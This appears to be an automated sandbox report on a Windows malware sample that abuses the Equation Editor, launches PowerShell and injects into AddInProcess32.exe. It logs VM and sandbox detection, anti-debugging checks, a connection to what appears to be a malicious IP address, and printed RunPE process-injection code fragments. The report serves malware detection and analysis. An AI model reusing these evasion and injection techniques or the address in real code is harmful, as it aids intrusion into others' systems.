Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: powershell.exe, 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.00000000024AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.0000000002425000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.00000000022B5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.000000000233E000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.000000000249E000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.0000000002415000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.000000000236D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.00000000022E5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 240000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 23F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 590000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2280000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 630000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 23E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 590000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 1D0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 22B0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 650000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 250000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2100000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 5C0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 350000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2220000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 590000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 597832 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 9230 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 652 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2072 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 252 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1928 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2072 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2072 Thread sleep time: -597832s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2072 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1712 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3144 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3236 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3312 Thread sleep time: -300000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3388 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3484 Thread sleep time: -420000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 597832 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: AddInProcess32.exe, 0000000E.00000002.617260829.00000000022DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware
Source: AddInProcess32.exe, 0000000B.00000002.492705422.0000000000922000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ?\scsi#disk&ven_vmware
Source: AddInProcess32.exe, 0000000E.00000002.617260829.00000000022DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: AddInProcess32.exe, 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: AddInProcess32.exe, 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: VMwareVBox
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00245310 CheckRemoteDebuggerPresent, 8_2_00245310
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A058C mov edx, dword ptr fs:[00000030h] 2_2_034A058C
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.14 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
